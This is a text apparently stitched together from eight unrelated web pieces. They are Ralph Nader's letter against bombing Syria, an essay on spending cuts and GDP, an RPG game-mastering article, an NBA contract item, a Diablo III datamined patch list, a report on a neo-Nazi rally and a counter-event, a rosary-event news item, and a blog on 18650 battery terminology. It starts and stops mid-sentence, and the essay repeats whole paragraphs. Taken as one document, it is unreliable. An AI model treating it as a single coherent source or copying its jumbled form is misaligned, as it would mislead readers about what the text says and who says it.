Congressional authorization would violate the separation of powers that is clearly delineated in the Constitution.” Congressional deliberations would ask the following questions in the open: Assuming the veracity of the regime as the cause, how could a U.S. attack not make a horrible situation even more horrible, both inside Syria and in the volatile region? Why are so many in the U.S. military privately opposed to such an action – though they defer to civilian authority? Could it be due to the lack of any strategic purpose and the violent plethora of uncontrollable consequences? See the oppositional stands, reported in the August 30th Washington Post, “from captains to a four-star general.” How are you going to avoid the kind of awful continual civilian casualties that were produced in the first Iraq war in 1991? U.S. bombings broke chemical warfare containers and led to sickness (called the Gulf War Syndrome) for tens of thousands of U.S. soldiers – many continue to suffer to this day. How are you going to deal with the overwhelming majority of Muslims in the Middle East and at least 70 percent of Americans here who are opposed to you bombing Syria? Do you think that lack of domestic public support and even deeper hatred abroad are inconsequential? Your empire mentality seems to say yes. One would think that House Speaker John Boehner (R-Ohio), of all people, who just sent you a detailed letter of inquiry and caution, citing Congressional authority, should give you pause. Increasingly, you are coming across, even to your hardcore political supporters, as impulsively aggressive, too quick to order killing operations and too slow to contemplate waging of peace. The Syrian civil war – riven by fighting rebel factions, sectarian revenge cycles, outside arms suppliers and provocations, and a spreading al-Qaeda force fighting the dictatorial Assad regime – can only get worse following a violent attack by your Administration. Listen to Hans Blix, the former United Nations head of the weapons inspection team in Iraq during 2002-2003 that was aborted by George W. Bush’s criminal invasion that led to the continuing loss of over a million Iraqis, many more injuries, five thousand U.S. soldiers and tens of thousands of injured Americans. SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts Mr. Blix, former Swedish minister for foreign affairs, urges an international peace conference under the UN Security Council’s auspices attended by all governments supporting the various sides in Syria’s civil war. Since all fighters in Syria are receiving their weapons from outside nations, these “supplier countries have leverage,” Blix writes, to support the demand “that their clients accept a ceasefire – or risk losing further support.” Achieving this goal will require strong leadership. While it is difficult for you to move from waging war to waging peace, history documents that the latter brings better outcomes and forestalls worse slaughter and blowbacks that security experts fear could reach our country. When your own military believes you are moving into dangerous terrain and possible points of no return, you’d better start to rethink. You’d better reread the warnings in the measured memoranda given to you by Secretary of Defense, Chuck Hagel, and the chief of the Joint Chiefs of Staff, General Martin Dempsey. More publically, retired Lt. Gen. Gregory S. Newbold, who directed operations for the Joint Chiefs during the run-up to the Iraq war, told the Washington Post: “There’s a broad naiveté in the political class about America’s obligations in foreign policy issues, and scary simplicity about the effects that employing American military power can achieve.” He said that many of his fellow officers share his views. General Newbold’s words seem like a rebuke not just to the Bush Neocons (pro-Vietnam war, draft dodgers) who pushed the Iraq invasion, but also to you and your immediate circle of hawkish civilian advisors. All weapons of violence – chemical, biological, nuclear, drones, conventional munitions – are used to destroy lives and habitats. The fact that using some weapons constitutes international war crimes per se is hardly consoling to the victims of other mass weapons systems. Aggressive arms controls should be the priority of the leading superpower in the world. Why haven’t you made U.S. ratification of the small arms, the landmines, and the cluster munitions treaties, adhered to by most nations, a priority? Before you violently embroil our country into yet another Mid-East country’s tragic turmoil, visit the government supported U.S. Institute of Peace for intensive tutorials. Then read again Article 1, Section 8, and its originating history, which says that going to war is not your decision but the exclusive decision of the Congress. That may help you accept the imperative of your moral and legal accountability. Sincerely, Ralph Nader -Government spending cuts could cause growth only if they increase the other components by more than spending was cut. There's a common argument that this could happen in the long term. Less federal spending allows the government to take in fewer tax dollars. If you believe that the private sector better promotes economic growth than the government, then it makes sense that smaller government paired with lower taxes will lead to higher growth. But that's not the situation we're talking about here. We're trying to pay down the enormous government debt, so we can't lower taxes in proportion to the spending cuts. Doing so would leave the debt level unchanged. In order for spending cuts in a vacuum to stimulate the economy, they must have some intangible positive effect on one or more of the other components of GDP. Let's think through this. Consumption : Less government spending will not provide consumers with more money to spend. So to spend more, they would need to save less or incur more personal debt. These options seem somewhat unlikely, as less government spending probably means the impact of entitlements softens -- so Americans will need to save more, not less.* : Less government spending will not provide consumers with more money to spend. So to spend more, they would need to save less or incur more personal debt. These options seem somewhat unlikely, as less government spending probably means the impact of entitlements softens -- so Americans will need to save more, not less.* Investment : Less government spending will not provide firms with more money to invest. So they would either need to pay shareholders less or borrow to invest more of their revenue for growth. It's hard to see why cutting government spending would encourage either of these options. At best, you could see the private sector attempt to provide some of the services that government cut, but most of the government's functions tend not to be potential profit centers for firms. More importantly, this would just replace the services the government already provided, so growth would remain flat. Economic activity would remain unchanged: some would just shift from government to firms. : Less government spending will not provide firms with more money to invest. So they would either need to pay shareholders less or borrow to invest more of their revenue for growth. It's hard to see why cutting government spending would encourage either of these options. At best, you could see the private sector attempt to provide some of the services that government cut, but most of the government's functions tend not to be potential profit centers for firms. More importantly, this would just replace the services the government already provided, so growth would remain flat. Economic activity would remain unchanged: some would just shift from government to firms. Net Exports: Less government spending could actually reduce net exports. If the deficit declines, then the dollar should strengthen. While that might sound great, it means that our goods and services will appear more expensive to those overseas. That will make it more difficult to convince them to buy U.S. exports. You can quibble that government spending shouldn't be a part of the definition of GDP. That position isn't crazy, but it also doesn't change anything. As just shown, those other components will not reflect new economic activity boosting growth if government spending is cut. Remember, cutting spending takes money out of the economy. That money isn't being replaced. Any further growth will have to occur by draining savings or by taking on more credit. Will less government produce stronger economic sentiment to induce such behavior? It could if the government borrowing was having an adverse negative effect on the economy in some way. Currently, that doesn't appear to be the case. U.S. debt is still being issued relatively cheaply. -This story is a further continuation of “Playing a Story in a Believable World” and “Playing a Story in a Believable World 2”. I highly recommend reading both of those articles before continuing. Play on Assumptions Adventures can be inspired from anything. In the campaign I mentioned last article, one particularly nasty antagonist that the party set out to destroy was almost completely based on H.P. Lovecraft’s “Pickman’s Model”. It’s a story that hardly lends itself to high combat, but with a little modification I was able to pay it homage while making something unique and fun that Lovecraft fans could make a few guesses about along the way. Another adventure, to hunt a sewer dwelling urban legend called Croc-Man, led the party to call up thoughts and stories of Killer Croc from the Batman cartoon/comics. The story hardly had anything to do with the DC character, but it allowed me to direct the investigation because I knew what assumptions the party had made. As my campaign evolved, the story called for higher action and less intrigue. Though I never stated that a genre change was impending, I did allude to it repeatedly. A war was brewing in my plot, a battle to epitomize Good vs. Evil on a mass scale. The players could feel the danger growing larger session by session, NPCs spoke of an end to the battles they faced, and prophecy warned of the final confrontation. To prepare for the massive combat, I watched movies like 300, Gladiator, and other violent action flicks. I noted their soundtracks and during my battles, played those coupled with other powerful songs; music that I knew (knowing my group’s tastes) would pump some adrenaline into the room. I can’t say I recommend Metallica’s Battery covered by acoustic metal group Van Canto for every game, but with my group is was the perfect choice. Battles truly felt like epic moments of intense rage directed at an irredeemable enemy, exactly what I hoped to convey. Afterword Every group is different; I cannot tell you specifically how to lead every player to the assumptions you want from them. However, I do feel that being aware of the mood you are crafting will help you figure out how to guide your particular group. Here are a few starter ideas to help you establish a Continuity of Theme, Tone, and Mood. Choose and communicate a genre style. Every genre comes with its own set list of assumptions on the types of characters, adventures, and so much more. Use this to quickly explain the feelings your story is trying to create. Watch movies or read books that capture the chosen genre. Anything that well illustrates the given tone you want to recreate can serve as inspiration. Don’t be afraid to make references to the genre directly or indirectly in your campaign. I don’t recommend taking your plot straight from Mass Effect for your Sci-Fi RPG, but if your group is familiar with the game and it has elements that blend well, use them. Spend some time with Thesaurus.com (or a real thesaurus! Advice I could use myself). Look up descriptors for the mood you are establishing and find similar words, then use these in your descriptions for locations, artifacts, or characters. Try to stay consistent from the outset. This is probably the most difficult tip to master, if such a thing is possible. In the event you are forced to change your mind about your genre due to disinterest or dramatic plot change, be sure to review this list of tips, choose a new genre, and communicate it to the players. I think it is very important to mention here not place yourself in a box. Your chosen genre should serve only as a baseline, a point from which assumptions can be made. How you twist and direct those assumptions is entirely up to you as the writer and GM. Lastly, crafting a believable world to tell your story in doesn’t end here, these are only steps along the path. Experiment, read on game theory, and decide what works for you. I’m working on more articles regarding NPC Relationships, Time Use, and Equipment that all tie your series of adventures into a story world your players can really get into. [tag]Game Mastering, Pen and Paper RPG, role playing, Role Playing Games, roleplaying, rpg[/tag] -As the Los Angeles Clippers propose guard Jamal Crawford in possible trade scenarios, the NBA's Sixth Man of the Year has a message for the Clippers and potential future teams: Wherever Crawford's playing, he wants a contract extension next summer. "Our intention is to get an extension with the Clippers or anywhere else that he may be traded based on the fact that he's undervalued for the production he's providing," his agent Andy Miller told Yahoo Sports on Wednesday night. Crawford has become a subject of sign-and-trade discussions with the Clippers, who have inquired about working deals for several potential free agents, including Cleveland's Luol Deng and Spencer Hawes, sources told Yahoo. Scroll to continue with content Ad Crawford has two years, $11 million left on his deal, including a team option for the 2015-16 season. Crawford is eligible for an extension in the summer of 2015, and believes he's out-performed his deal. Crawford had a tremendously productive season for the Clippers, averaging 18.6 points in 30 minutes per game on his way to his second Sixth Man of the Year award in four seasons. Crawford averaged 15.5 points in 24 minutes per game in the 2014 Western Conference playoffs. In 14 NBA seasons, Crawford has averaged 15.5 points. He's played with Chicago, New York, Golden State, Atlanta, Portland and the Clippers. -New Datamined Patch - Class Changes, Passive Effects, Rift Keystones, Item Set Names, Bounty Scrolls, New Banners, Warlords of Draenor Buff, Lots of Graphics Warning - all things below should NOT be considered as a confirmation or anything close to it. This is datamining and not everything is a representation of what would be in the game. Update 4: Added Set Item bonuses. There are quite some changes! Update 3: Added portraits. Faces are as follows: Enchanted Soul Fragment, Lord Wynton, Spirit Barbarian, Spirit Crusader, Spirit Crusader Male, Westmarch Boy, Adria Boss, Cow King, Zayl, Common Angel, BSmith Apprentice, Sophia. Looks like this might be it for the patch! Update 2: Added buff icons from items, Warlords of Draenor "flag" buff, new Bounty target Health Bar and Legendary Reagents. Fixed incorrect Pool of Reflection string. Update: Added a lot more pictures. Made Warlords of Draenor Buff more obvious in the notes below. New Graphics - Icons, Items, Portraits, UI Set Item Bonuses DiabloFans Quote: Krelm's Buff Bulwark (New) 2 pieces: [+500 Vitality] Chantodo's Resolve 2 pieces: [Your shields heal for 25% of their remaining amount when they expire.] (New) Legacy of Nightmares 2 pieces: [This ring sometimes summons a Skeleton when you attack.] (Seems like it was missing from the tooltip the last few builds) Born's Command 2 pieces: [+15% Life] (Down from 20%) 3 pieces: [Increases experience rewarded per kill by 20%] (Moved from 2 pieces) 3 pieces: [Reduces cooldown of all skills by [{VALUE1}*100|1|]%.] (New) Cain's Destiny 3 pieces: [50% Better Chance of Finding Magical Items] (Down from 100%) Captain Crimson's Trimmings 2 pieces: [Reduces cooldown of all skills by [{VALUE1}*100|1|]%.] (New) 2 pieces: [Regenerates 2000 Life per Second] (Up from 1945) 3 pieces: [Reduces all resource costs by 10%.] (New) 3 pieces: [+50 Resistance to all elements] (Down from 100) Aughild's Authority 2 pieces: [Reduces damage from ranged attacks by 0.07%] (Moved from 3 pieces) 3 pieces: [Reduces damage from Elites by 15%] [Increases damage versus Elites by 15%] (New) Asheara's Vestments 3 pieces: [Melee attackers take 3498 Holy Damage per hit] (Removed) Guardian's Jeopardy 2 pieces: [+250 Vitality] (Down from 975 2 pieces: [Regenerates 2000 Life per Second] (Up from 1945) 3 pieces: [+15% Movement Speed] (New) Demon's Hide 2 pieces: [Melee attackers take 6000 Fire Damage per hit] (Up from 3498) 3 pieces: [Chance to Deal 25% Splash Damage on Hit.] (Changed from 5.1% chance to Fear on Hit) Sage's Journey 2 pieces: [+250 Intelligence] [+250 Strength] [+250 Dexterity] [+250 Vitality] (All values down from 975) Hallowed Protectors 2 pieces: [Attack Speed increased by 10%] (Up from 8%) The Shadow's Mantle (Ninja Set) 2 pieces: [Automatically cast Smoke Screen when you fall below 25% Life. This effect may occur once every 30 seconds.] (Moved from 4 pieces. Replaces: Your Spike Traps lure enemies to them) 4 pieces: [Reduce all cooldowns by 1 second every time you kill a demon.] (New) Helltooth Harness (Witch_Doctor_Set_x1) 4 pieces: [ Reduces cooldown of Wall of Zombies by 2 seconds. ] (Previously 500 Intelligence) 6 pieces: [NYI] (Previously 500 Intelligence) Item Passive Effects DiabloFans Quote: New ItemPassive_Unique_Ring_739_x1 - Elemental skills have a chance to trigger a powerful attack that deals [{VALUE1}*100]% weapon damage: *Cold skills trigger Freezing Skull *Poison skills trigger Poison Nova *Lightning skills trigger Charged Bolt ItemPassive_Unique_Bow_008_x1 - Ravens flock to your side. ItemPassive_Unique_Ring_586_x1 - Wall of Zombies spews acid, dealing [{VALUE1}*100]% weapon damage every second for its entire duration. (Was NYI till now) ItemPassive_Unique_Ring_587_x1 - All damage taken is split between wearers of this item. (Was NYI till now) Changed ItemPassive_Unique_Ring_533_x1 - Strafe gains the effect of the Drifting Shadow rune. (Previously removed Hatred cost) ItemPassive_Unique_Ring_602_x1 - Your Spike Traps lure enemies to them. Enemies may be taunted once every {VALUE1} seconds. (Added taunt mechanic description) ItemPassive_Unique_Ring_600_x1 - Summons shadow clones to your aid when you Stun an enemy. This effect may occur once every {VALUE1} seconds. (Added occurrence limitation) ItemPassive_Unique_Ring_615_x1 - Healing wells replenish all resources and reduce all cooldowns by {VALUE1} seconds. (Now also reduces cooldowns) ItemPassive_Unique_Ring_621_x1 - Fan of Knives gains the effect of the Fan of Daggers rune. (Changed from having a knock back effect) ItemPassive_Unique_Ring_626_x1 - Grasp of the Dead gains the effect of the Rain of Corpses rune. (Changed from having no cooldown) ItemPassive_Unique_Ring_643_x1 - Blocks have a chance of summoning a charging wolf that deals [{VALUE1}*100]% weapon damage to all enemies it passes through. (Added creature details, changed from hell hound) ItemPassive_Unique_Mighty_1H_011_x1 - Chance on attack to Whirlwind furiously for 325% weapon damage as Physical every second for 6 seconds. (Finally added actual numbers!) Warlords of Draenor Buff NOTE that Blizzard uses QUAD DAMAGE as a placeholder for CE stuff. DiabloFans Quote: WoDFlagBuff_name - Collectors Edition Buff WoDFlagBuff_desc - QUAD DAMAGE Rift Keystones, Item Set Names, Bounty Scrolls, New Banners DiabloFans Quote: Bnet_EscapeMenu.txt RaiseDifficulty - Raise Difficulty Errors.txt NephalemRiftWarning_PlayerNeedsKey - Five Rift Keystone Fragments are needed to conjure a Nephalem Rift. PowerUnusableInDifficulty - You can't do that in this difficulty level. DifficultyTooLow - You must be in a higher game difficulty for that. ItemCannotBeEnchantedLegacy - The mystic cannot enchant legacy items. ItemCannotBeEnchantedMysticLevelRequired - The mystic needs to be level {s1} to enchant this item type. General.txt LootRunClosesWarning - Nephalem Rift closes in: QuestUpdateNewBountyChatMessage - {s1}, {s2} StatAbbr - {s1}k HeroDetails.txt SplashDamage - Area Damage (Renamed from Splash Damage) ItemSets.txt Ninja_Set_x1 - The Shadow’s Mantle Thorns_Set_x1 - Thorns of the Invoker Earthquake_Set_x1 - Might of the Earth Golden_Oxen_Set_x1 - The Legacy of Raekor Dot_Set_x1 - Raiment of the Jade Harvester Monkey_King_Set_x1 - Monkey King's Garb Arcane_Wraps_Set_x1 - Vyr's Amazing Arcana Witch_Doctor_Set_x1 - Helltooth Harness War_Harness_Set_x1 - Krelm’s Buff Bulwark BuffTooltips.txt X1_Passive_BountyScroll_DemonDamage_0 - Bounty Scroll X1_Passive_BountyScroll_DemonDamage_0_desc - 25% increased damage to Demons. X1_Passive_BountyScroll_UndeadDamage_0 - Bounty Scroll X1_Passive_BountyScroll_UndeadDamage_0_desc - 25% increased damage to Undead. X1_Passive_BountyScroll_BeastDamage_0 - Bounty Scroll X1_Passive_BountyScroll_BeastDamage_0_desc - 25% increased damage to Beasts. X1_Passive_BountyScroll_TeddyBear_0 - Cuddle Bear! X1_Passive_BountyScroll_TeddyBear_0_desc - You feel more cuddly. X1_Passive_BountyScroll_RunSpeed_0 - Bounty Scroll X1_Passive_BountyScroll_RunSpeed_0_desc - 30% increased movement speed. Powers.txt X1_Passive_BountyScroll_DemonDamage_name - Bounty Scroll X1_Passive_BountyScroll_UndeadDamage_name - Bounty Scroll X1_Passive_BountyScroll_BeastDamage_name - Bounty Scroll X1_Passive_BountyScroll_RunSpeed_name - Bounty Scroll Tutorials.txt X1_PoolsOfreflection_2 - You now have a pool of bonus experience which will persist between games. Dying will remove this bonus. X1_PoolsOfreflection_2_title - Pools of Reflection Bonus X1_RiftKeystone_title - Rift Keystone Fragments X1_RiftKeystoneInventory - Use 5 Rift Keystone Fragments to open a Nephalem Rift at the Nephalem Obelisk in town. X1_RiftKeystoneInventory_title - Rift Keystone Fragments X1_RiftKeystoneComplete - You now have 5 Rift Keystone Fragments. You can go back to the Nephalem Obelisk in town and open a Nephalem Rift. X1_RiftKeystoneComplete_title - Rift Keystone Fragments X1_LoadscreenTips.txt TIP056 - Primary or secondary properties proceeded by an orange bullet icon {icon:bullet2} are not factored into item comparisons. TIP057 - Shift-click on player names to link them. TIP058 - Holding down the SHIFT key while assigning paragon points will speed up the process by assigning them ten at a time. BannerAccents.txt banner_basic_sigilAccent_BatWings_01 - Wings banner_basic_sigilAccent_Goblet_01 - Goblet banner_basic_sigilAccent_MoonStar_01 - Moon & Sun banner_basic_sigilAccent_Orb_01 - Orb banner_basic_sigilAccent_Rose_01 - Roses banner_basic_sigilAccent_Serpent_01 - Serpent banner_basic_sigilAccent_Snakes_01 - Snakes banner_basic_sigilAccent_Leaves_02 - Vines banner_basic_sigilAccent_Rays_01 - Rays banner_basic_sigilAccent_Sun_01 - Evenstar BannerPatterns.txt banner_basic_pattern_wave_04 - Wind banner_basic_pattern_cross_05 - Cruces banner_basic_pattern_cross_06 - Crucifix banner_basic_pattern_drip_03 - Scalloped banner_basic_pattern_fire_02 - Flares banner_basic_pattern_fire_03 - Fire banner_basic_pattern_starburst_01 - Infinity banner_basic_pattern_starburst_02 - Starburst banner_basic_pattern_starburst_03 - Sunburst BannerShapes.txt banner_basic_shape_chevron004 - Highborn banner_basic_shape_chevron005 - Royal banner_basic_shape_chevron006 - Imperial banner_basic_shape_goth004 - Exultant banner_basic_shape_point006 - Hallowed banner_basic_shape_point007 - Glorious banner_basic_shape_point008 - Westmarch banner_basic_shape_rectangle002 - Reserved banner_basic_shape_rectangle003 - August BannerSigils.txt banner_basic_sigilMain_Axe_01 - Axe banner_basic_sigilMain_Bird_01 - Ascendance banner_basic_sigilMain_Crus_01 - Crusader banner_basic_sigilMain_Hood_01 - Malthael's Hood banner_basic_sigilMain_Orb_01 - Crucible banner_basic_sigilMain_Rose_01 - Thorny Rose banner_basic_sigilMain_Scythe_02 - Scythes banner_basic_sigilMain_Shield_03 - Crusader Shield banner_basic_sigilMain_Sickle_01 - Sickles banner_basic_sigilMain_Soulstone_01 - Black Soulstone banner_basic_sigilMain_Malskull_01 - Reaper banner_basic_sigilMain_Axe_01_alt_01 - Axe banner_basic_sigilMain_Bird_01_alt_01 - Ascendance banner_basic_sigilMain_Crus_01_alt_01 - Crusader banner_basic_sigilMain_Flail_01 - Flails banner_basic_sigilMain_Flail_01_alt_01 - Flails banner_basic_sigilMain_Hood_01_alt_01 - Malthael's Hood banner_basic_sigilMain_Malskull_01_Alt_01 - Reaper banner_basic_sigilMain_Orb_01_alt_01 - Crucible banner_basic_sigilMain_Rose_01_alt_01 - Thorny Rose banner_basic_sigilMain_Scythe_02_alt_01 - Scythes banner_basic_sigilMain_Shield_03_alt_01 - Crusader Shield banner_basic_sigilMain_Sickle_01_alt_01 - Sickles banner_basic_sigilMain_Soulstone_01_alt_01 - Black Soulstone Class Changes -A white supremacist group will rally on the steps of the Pennsylvania State Capitol on Nov. 5, within days of the presidential election. The National Socialist Movement's announcement of a rally in the "heart of Democracy" spurred local social service groups to organize their own event across town in the hope of averting a potentially violent protest. "One of our goals is to show that equality and nonviolence will be spoken louder than hate that day in Harrisburg," said Ann Van Dyke, who's helping to organize a unity event as white supremacists converge on the Capitol. "The other is to encourage young people to stay away from the rally -- to give them something better to do that day." According to the Southern Poverty Law Center, the NSM is "one of the largest and most prominent neo-Nazi groups in the United States." The center reported that the number of hate groups nationwide has increased 14 percent since 2014. "They have 46 chapters in 40 different states," said Mark Potok, a senior fellow at the SPLC. "That makes them far larger than other groups in terms of chapters." Potok said their protests typically center around 10 or 20 members of the group but can draw dozens of police officers and as many as 500 demonstrators. "There's always the threat of violence because anti-racists are so provoked and infuriated by the Nazis," he said. "The police have a tough jog in these situations. They have to keep the neo-Nazis and their opponents apart." Troy Thompson, a spokesman for the state Department of General Services, confirmed that the NSM obtained a permit for its rally at the Capitol. "Everyone has the right to free speech and freedom of expression," Thompson said. "While we may not agree with the content of the message, as long as it's delivered in a peaceful manner, every individual has the right to express themselves." Messages left with the NSM rally's organizers were not returned Wednesday, but in a press release the group said it chose Harrisburg because of its status as "one of the birthplaces of American democracy." On its website, the NSM emphasized the timing of the rally within days of the presidential election although it does not explicitly endorse either candidate. "We chose Harrisburg because of its living history," said Jeff Schoep, an NSM leader, in a written statement, "a history so poignant in its remembrance during these turbulent social and political times." http://www.pennlive.com/news/2016/02/the_hateful_state_pennsylvania.html Van Dyke said the counter-demonstration, which will likely be held at a school far from the Capitol, will be apolitical. Amanda Arbour, racial justice coordinator for YWCA Greater Harrisburg, said the best response to a hate group is to shift focus away from their activities. "Whenever there's a hate group having a rally, it's not as productive to have a counter-protest at the rally," she said. "It draws more attention to their efforts." Van Dyke said the counter-event will include music, poetry and other activities designed to attract young people. Its organizers, she said, include Christian Churches United, the Community Responders Network, the Mayor's Interfaith Advisory Council, and the World Affairs Council. Van Dyke said it's important to keep protesters -- and particularly young people -- away from the white supremacist rally in order to protect them. "Hate groups say such venomous things in their public rallies that sometimes protestors, particularly young people, lose control and end up breaking the law," she said. "They're usually the ones that end up getting arrested." Hate groups want protesters -- and the media coverage that follows -- at their events, she said, because it helps spread their message. Furthermore, any failure by local authorities to control the crowd could result in more favorable coverage or lawsuits against the city or state. "Another goal, which is really important to keep in mind, is that they seek to inflame existing tensions in that town between the community and police," she said. "For so, so many reasons, we need to have an alternative unity event." The organizers are still finalizing the location of the alternate event, which will run concurrently with the rally at 2 p.m. on Nov. 5. Those interested in assisting the counter-event can call the YWCA at 717-234-7931. http://www.pennlive.com/politics/index.ssf/2016/06/donald_trump_10_political_fire.html -NewsFaith SANTA PAULA, California, December 1, 2017 (LifeSiteNews) — There will be a mass rosary service throughout the United States on December 12, the feast day of Our Lady of Guadalupe, inspired “100 percent” by the Rosary on the Borders in Poland. The “Rosary on the Coasts and Borders” is the initiative of a group of Church Militant fans who proposed — and then began planning — the event in its website comments box. “I am in constant admiration of Poland,” Patricia Lemmon, who is one of the organizers, told LifeSiteNews. “Over and over again, (the Poles) show their allegiance to reality. Their pro-life laws and initiatives encouraging families to have children, supporting families when a Down syndrome child is expected, welcoming Christian refugees but barring (jihadist) incomers, these are a beacon of intelligence coupled with goodness in the midst of so much truly dark news out of dying secular western Europe.” Lemmon also praised the rosary events in Italy and Ireland. The intention of the prayers will be “to ask Our Lady to save the USA from Islamic jihad, from the denial of the Christian faith, and for an end of abortion.” The USA Rosary on the Coasts and Borders will not literally surround the nation’s massive territory. Instead, Lemmon said, it will put up “a prayer shield by representation.” “Here in the States we do things state by state, and we believe in representation,” she told LifeSiteNews. “So (we need as representatives) one person or group from each of the 50 States, plus D.C., plus Puerto Rico, plus Guam or other territory. By December 12, that will be all 53 of us, representing the whole USA to Our Lady of Guadalupe.” In this way, the organizers hope to match a state or protectorate to each of the Hail Marys in a five-decade rosary. The Feast of Our Lady of Guadalupe was chosen for a few reasons. First, the only Marian apparition in the New World pronounced authentic by the Catholic Church was witnessed in Villa de Guadalupe in 1531. Next, Pius XII named Our Lady of Guadalupe the Patroness of the Americas in 1946. Finally, an image of Our Lady of Guadalupe was taken by Don Juan of Austria’s Christian army into the Battle of Lepanto in 1571. The Battle of Lepanto represented a major defeat to the Ottoman Empire. “The New World’s Lady sailed to confront jihad in the Old World,” Lemmon said. “Is this not mind-blowing? That battle, against all odds, saved Europe from imminent invasion. … As Don Juan fought under that banner, the pope prayed the rosary.” The anniversary of the Battle of Lepanto on October 7 is also the Feast of the Holy Rosary and the date chosen by the organizers of the Polish Rosary to the Borders. “So the Feast of Our Lady of Guadalupe, victor of Lepanto, seems the ordained date for America to link with Poland … ” said Lemmon. “Thus we will jointly block jihad and embrace faith and life.” The Rosary On the Coasts and Borders currently has representatives in 30 states and Puerto Rico. The organizers are still looking for representatives in Alabama, Arkansas, Delaware, Hawaii, Illinois, Indiana, Iowa, Kansas, Louisiana, Maine, Maryland, Montana, New Mexico, North Dakota, Oregon, Rhode Island, South Carolina, Tennessee, Vermont, West Virginia, the District of Columbia, and Guam, or some other protectorate. Canadians, too, are invited to join in. Lemmon addressed them through LifeSiteNews, saying, “Turn to your south on December 12 and join us in throwing up to heaven a bubble of protection across these vast lands. … And when you do your own Canadian rosary, we will turn to our north … and join you in storming heaven for Canada!” Lemmon described the lay-led event as “a Wild West Rosary.” “We didn't wait for the U.S. bishops to do anything,” she told LifeSiteNews. “As a group, they don't seem cut from the same cloth as the great Polish bishops who are so busy (being bishops), protecting and leading their flock among real dangers (although the U.S. does have a few sterling bishops). We here in the States can springboard off of the American do-it-yourself spirit.” Those interested in joining can register on the Disqus link here. -Preface Terminology for 18650 batteries can be very confusing. In this blog post I will clear five common myths. Myth #1 - You have individual 18650 batteries Myth #2 - What is better, Li-Po or Li-ion? Myth #3 - When you charge a cell, its capacity increases Myth #4 - 18650 batteries can be either Primary or Secondary cells Myth #5 - Impedance and Resistance are interchangeable terms I decided to go into some detail for each point so that readers may fully appreciate what lies behind each myth. With detail also lies some complexity. Admittedly I'm worried. I want this post to clear up 18650 battery myths, not confuse even more. For that reason I added as many metaphors for phenomenon as possible. When you come across these, really take a moment to think about what is going on. I find these metaphors are really the best way to quickly grasp complicated concepts. And lastly, if you come across any mistakes, have any questions, or disagree with something I've written, please let me know in the comments! Myth #1 - You have individual 18650 batteries Answer: Technically, you have individual 18650 cells, not batteries The terminology problem here arises because of the difference between consumers and engineers. 1 - Cell Technically speaking, an individual 18650 battery is actually a cell. A cell is the smallest packaged form a battery can take (and for 18650 batteries a cell is normally 4.2V). 2 - Module The next step up in the hierarchy is a module, which can consist of several 18650 cells connected in either parallel or series. Modules can range in size from several cells to several hundred cells depending on energy requirements. A BMW i3 lithium-ion battery pack, with viewable individual battery modules 3 - Battery (or Battery Pack) A battery is a group of cells or modules connected together in either parallel or series, commonly referred to as a battery pack. Both engineers and consumers refer to the final package as a battery pack. However, only engineers typically refer to the pack with the single world “battery” in the context of lithium-ion 18650 batteries. 18650 battery packs almost always contain a BMS (battery management system), which is circuitry that regulates the cells and modules. If needed to distinguish between a pack and a battery, the “pack” is often smaller, while the “battery” is larger Do I really have to start calling them cells and not batteries? Well it depends who you are and what you’re doing. Calling an individual 18650 cell a battery, is completely acceptable for most people. We do it frequently on Battery Bro. This is because for most consumers, an 18650 is a battery just like an AA is a battery. It a little cylinder thing that gives us power - it’s easy to communicate. But nomenclature for engineers is different. Concerns for efficiency dictate an adherence to standards and depending on their work philosophy, some engineers can take this quite personally. I have come across such, and do not disagree with them. That is because typically a battery is a self-contained system capable of powering a device safely. The key point is battery safety. An 18650 cell on the other hand, needs additional regulation circuitry to operate safely because lithium is so chemically reactive. The addition of a BMS is also critical to maintaining a li-ions expected long cycle life. Individual cells do not have a BMS, that is the job of the pack. Remember the three tier system used in building battery packs - cells, modules, and battery. Each category has a different set of rules so they can’t share their names. So in some cases the distinction between cell and battery is necessary. To recap, an individual 18650 is a cell, and a group of 18650s is a battery. Consumers say: 18650 Battery Engineers say: 18650 Cell Consumers say: 18650 Battery Pack Engineers say: 18650 Battery (or 18650 Battery Pack) Myth #2 - What is better, Li-Po or Li-ion? Answer: You can not actually compare the two. There are two uses for the word LiPo (lithium polymer). (Uncommon) The original meaning, referring to a “polymer electrolyte” (Common) The new meaning, a cell with a “pouch format” In this new meaning, cells do not have a different electrochemistry than li-ion (lithium ion) Usage #1 - (Uncommon) Polymer Electrolyte Many years ago, there was development of a chemistry dubbed LiPo. It never really was applied, and is not often menioned. In this type of cell actual polymer electrolytes are used - but it has not reached commercialization and is very much a prototype research cell. Usage #2 - (Common) Polymer Casing or Pouch Format Today, the word LiPo means Lithium Polymer. Polymer being a malleable, soft material that creates the external shell of the battery. This is a bulging (decomposing) lipo cell (usually from age). Note an 18650 could never bulge like this. Lithium Polymer (LiPo, LiPoly, etc.) is used for mobile phone and tablet batteries; think of their varying shapes and easy-to-puncture material. Contrast that with the steel-shelled 18650 cylindrical battery - which is standardized, hard, and cylindrical. 18650 (18mm by 65mm) batteries never share the characteristic of using a soft, malleable polymer pouch casing. If we take a step back we can then see, that both the hard-shelled, and soft-shelled batteries use the same fundamental electrochemistry. They are both lithium-ion (li-ion, liion, etc.) batteries. That is, they both give us usable energy by shunting lithium ions between the cathode and anode sheets. The ions move in one direction during charge, and in the other direction during discharge. This fundamental movement is present in both the hard 18650 and the soft LiPo type batteries. Both are lithium ion batteries. Awesome, aren't all these different polymer architectures nice? Confusion - All cells contain a little polymer, but it’s not reactive So what is polymer exactly? In ancient Greek, polus had the meaning “many, much” and meros “parts”. A polymer is a large molecule composed of many repeating subunits. This broad definition means there are many types of polymers - notably synthetic plastics, and other natural biopolymers like DNA. That means even an 18650 cell without a polymer separator, or any electrolyte may still contain “polymer”. In fact lithium ion cells do have internal polymer but it accounts for less than 5% of the total weight and does not provide any electrochemical reactions. This polymer is often a binding agent. It may be poly(vinylidene fluoride) or PVdF - which helps the mix of chemicals stick to the copper and aluminium foils inside the battery. This binding agent shouldn’t be confused with the true meaning of lipo. Lip means “pouch format”. Myth #3 - When you charge a cell, its capacity increases Answer: When you charge a cell, its charge increases and not its capacity. The distinction between charge and capacity is not intuitively clear so this myth arises. The fuel gauge is a great way to think about battery charge The “Fuel Gage” The easiest way to explain the charge is with an analogy to a fuel or gas gauge of a car. With this gauge you can easily compare the energy left in your car with the energy you had when it was full. The fuel gauge quickly lets you see how much energy you have left, until you need to recharge. For batteries, this condition is called the State of Charge (SOC)(%), also known as the 